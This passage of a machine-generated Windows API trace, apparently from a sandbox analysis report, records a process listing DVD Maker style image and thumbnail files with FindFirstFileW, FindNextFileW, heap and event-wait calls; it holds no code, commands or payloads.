dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.400] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0241.400] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0241.400] ResetEvent (hEvent=0x118) returned 1 [0241.401] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.406] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0241.407] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0241.407] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0241.407] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0241.410] GetProcessHeap () returned 0x560000 [0241.410] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0241.410] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0241.410] GetProcessHeap () returned 0x560000 [0241.410] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0241.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0241.413] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.413] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0241.413] ResetEvent (hEvent=0x118) returned 1 [0241.413] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.416] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0241.416] ResetEvent (hEvent=0x118) returned 1 [0241.416] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.596] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0241.596] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0241.596] ResetEvent (hEvent=0x118) returned 1 [0241.596] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.601] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.601] ResetEvent (hEvent=0x118) returned 1 [0241.601] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.722] ResetEvent (hEvent=0x118) returned 1 [0241.722] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.728] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.728] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.729] ResetEvent (hEvent=0x118) returned 1 [0241.729] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.749] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0241.751] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0241.754] GetProcessHeap () returned 0x560000 [0241.754] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0241.756] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0241.756] ResetEvent (hEvent=0x118) returned 1 [0241.756] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0241.859] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0241.859] ResetEvent (hEvent=0x118) returned 1 [0241.860] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.009] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.009] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.009] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.010] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.010] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.011] ResetEvent (hEvent=0x118) returned 1 [0242.011] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.019] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0242.020] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0242.020] GetProcessHeap () returned 0x560000 [0242.020] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0242.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0242.023] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.023] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0242.023] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0242.024] ResetEvent (hEvent=0x118) returned 1 [0242.024] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.033] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0242.034] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0242.034] ResetEvent (hEvent=0x118) returned 1 [0242.034] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.039] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.039] ResetEvent (hEvent=0x118) returned 1 [0242.039] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.205] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 